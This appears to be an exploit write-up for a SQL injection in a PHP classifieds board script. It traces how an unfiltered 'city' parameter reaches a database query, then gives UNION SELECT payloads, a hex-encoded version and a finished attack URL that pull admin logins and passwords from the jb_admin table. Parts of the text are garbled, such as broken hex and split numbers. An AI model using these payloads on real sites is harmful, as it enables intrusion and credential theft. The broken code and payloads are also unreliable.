SQL-Inj3ct0r Exploit:  

1) sboard.php

elseif (!@$_GET['id_mess'] && !@$_GET['id_cat'] && (@$_GET['op'] == "all_cat" || @$_GET['city'])) require_once("core/all_cat.php");

2) all_cat.php

if ($c['print_top'] == "yes") require_once("inc/top_add.inc.php"); 

3) top_add.inc.php

There is a request to the database with the parameter $_GET['city'], which is never filtered

if (@$_GET['city']) 
{ 
    $from_city_query = mysql_query ("SELECT city_name FROM jb_city WHERE city_translit = '".$_GET['city']."' LIMIT 1");  
    if (mysql_num_rows ($from_city_query) == 1) 
    { 
        $from_city = mysql_fetch_assoc ($from_city_query); 
        $city_from_search = " AND city = '".$from_city['city_name']."' "; 

The result is used in the second query:

 $top_add = mysql_query ("SELECT A.id as board_id, A.*, B.* FROM jb_board as A, jb_board_cat as B WHERE A.id_category = B.id AND old_mess = 'old' ".@$city_from_search." ORDER by hits DESC LIMIT $limit");  
if (mysql_num_rows($top_add)) 
{ 
?> 

<H4><?=$lang[610]?></H4> 
<table border="0" class="GRayBox" cellpadding="0" cellspacing="0"> 
  <tr class="top"> 
    <td class="img1">&nbps;</td> 
    <td class="img2">&nbps;</td> 
    <td class="img3">&nbps;</td> 
  </tr> 
  <tr> 
    <td class="imgL">&nbps;</td> 
    <td class="t"><a href="#"> 
      <? 
    while ($top = mysql_fetch_assoc ($top_add)) 
    { 
        $tip = str_replace("\r\n"," ", htmlspecialchars($top['text'])); 
        echo "<a href=\"".$h."/advertisement/nesting/".$top['id_category']."/kind/".$top['board_id']."/\" onmouseover=\"Tip('".$tip."')\"><strong>".$top['title']."</strong></a>"; 


Request number 1:

a 'UNION SELECT 1 --

Request number 2:

a 'UNION SELECT 1,2,3,4,5,6, concat_ws (0x3,login,password), 8,9,10,1 1,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34 FROM jb_admin --
Transferred to the number (* 16):
0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361745f7773283078332c6c6f67696e2c70617373776f7264292c382c392c31302c31312c31322c31332c31342c31352c31362c31372c31382c31392c32302c32312c32322c32332c32342c32352c32362c32372c32382c32392c33302c33312c33322c33332c33342046524f4d206a625f61646d696e202d2d20

As a result, we obtain the following query:

sboard.php?city=a'+union+select+0x612720554e494f4e2053454c45435420312c322c332c342c352c362c636f6e6361 745f7773283078332c6c6f67696e2c70617373776f7264292c 382c392c31302c31312c31322c31332c31342c31352c31362c 31372c31382c31392c32302c32312c32322c32332c32342c32 352c32362c32372c32382c32392c33302c33312c33322c3333 2c33342046524f4d206a625f61646d696e202d2d20% 20 -% 20

SQL-Inj3ct0r Exploit:

POST request to /core/select.php
